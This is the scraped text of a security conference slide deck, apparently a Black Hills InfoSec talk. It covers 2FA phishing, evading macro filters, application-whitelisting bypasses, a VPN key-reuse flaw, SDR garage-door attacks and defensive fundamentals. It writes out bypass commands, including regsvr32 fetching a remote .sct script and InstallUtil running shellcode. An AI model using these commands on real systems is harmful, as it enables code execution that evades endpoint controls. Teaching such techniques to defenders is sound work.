If i wake evil 360

I like shiny things
Do you find a need to have
multiple twitter followers?
Do you desire clicks on
Facebook?
Do you snort LinkedIn requests
like a bad 80’s bender?
Then…
Do I have a link for you!!!
Truth!

How do bad things
happen?
We seem to be in a loop
A very bad loop
Getting angry at questions…
Best AV?
Best DLP?
Best Threat Intel Feed?
Best Firewall?
Patterns and Chiasms
This.. Without the learn.

Password example
Most password complexity
requirements are:
>8 Characters
Upper/Lower/Alpha/Num
No Dictionary words
Full of fail
“We cannot fix this because of
compliance!”
Truth!

OWA/Office365 2FA
bypass - Beau
Today

Attacking Google 2FA
@dafthack and @ustayready..
In their natural environment.

Credsniper… Get
Credsniper.. Now..• Fetch the profile image
• Google Picasa API
• JavaScript XMLHttpRequest()
• Ask nicely for the password
• Behind the scenes, authenticate
• Is 2FA present?
• No? Redirect them to GDoc
agenda
• Doh! 2FA is enabled
• Which type? Extract
information
• Ask for 2FA Token nicely
• Login w/ Username + Password
+ Token
• https://www.slideshare.net/daft
hack/ok-google-how-do-i-red-
team-gsuite

Cash Cow Tipping….
Bypass everything..
AV, DLP, Firewalls, etc.
Trivial to do..
More smoke and mirrors
Get previous sessions here:
Tinyurl.com/504extra2

It Wont Get Better
Mail Providers Blocking Powershell
Macros

Appear to just look for “powershell” in macro
Well…just break up the string
“Obfuscate” Empire Macro

• @subTee (Casey Smith) is awesome
• Please, take a moment and follow
• By pulling down InstallUtil-ShellCode.cs and
inserting msvenom (-f csharp) into it
• Compile with the csc.exe tool
• Awesome! Because it does not need a full Visual
Studio Environment
• Walkthrough here:
• http://www.blackhillsinfosec.com/?p=4881
• @subTee here:
• http://subt0x10.blogspot.com/?m=1
InstallUtil-ShellCode.cs

InstallUtil.exe /logfile= /LogToConsole=false /U
exeshell.exe

Is this some kind of joke? .sct files?/?
Huh? No joke.

regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll
• Yea… regsvr32 can take a url
• It is Proxy aware
• Uses TLS
• Is a signed MS binary…
• http://subt0x10.blogspot.com/2016/04/bypass-
application-whitelisting-script.html?m=1
.sct… Running it

Advanced Endpoint
Security
We are seeing Vision (Hi Dave!!),
Cylance, Bit9 (to a lesser extent),
CrowdStrike, etc. on more tests
Most are train wrecks… Total train wrecks…
White listing is a thing… Get used to it
Smaller organizations doing much better
Larger orgs getting it… Yea, scary…
Do not base purchases on a companies
marketing budget…

http://securityweekly.com Copyright 2014
Attacking a VPN
FatPipe
• Found by Joff Thyer
• They have not responded
in months…
• Problem with key reuse
• If the same key is used…
For all installations
• I can steal that key
• And decrypt on the fly

Bruce Cries...

ECM

Quick!! To Python!

Results!!

Lesson
• Exploits are not always buffer/heap overflows
• We need to look deeper into the logic of
things.

SDR.. Is Awesome!
300/315/390 MHz

But Can Be frustrating..

Stealing your garage
door opener…

Binary!

WAV to bin..
Partial…

Lesson
• Security is moving on
• Not just OS and Web security

Stop me
New Fundamentals
• App Locker and SRP
• Long Passwords
• Two Factor Auth
• Firewall Everything
• Internet Whitelisting
• Regularly Test Things
• Assume you will be
compromised.. Plan
Accordingly!!!!

The RITA Hunt Solution
• Parse Bro Data Sources
• Extract Data of Interest around Network /
Application Sessions
• Use Math and Statistical Methods to Find
Anomalous Activity
• Enable Security Analysts to Visualize and
Identify potential trouble makers.

What did you think security
was going to be?

Lets Practice!
Thanks To Mark Baggett!!!

More! More Practice!

Want this?
And other things….
http://tinyurl.com/504extra2

A note on architecture

Thanks for attending!
• John Strand
- @strandjs
- www.bhis.co
- john@bhis.co
Puppies Make It All Better

If i wake evil 360

Recommended

Recommended

More Related Content

Similar to If i wake evil 360

Similar to If i wake evil 360 (20)

Recently uploaded

Recently uploaded (7)

If i wake evil 360

Editor's Notes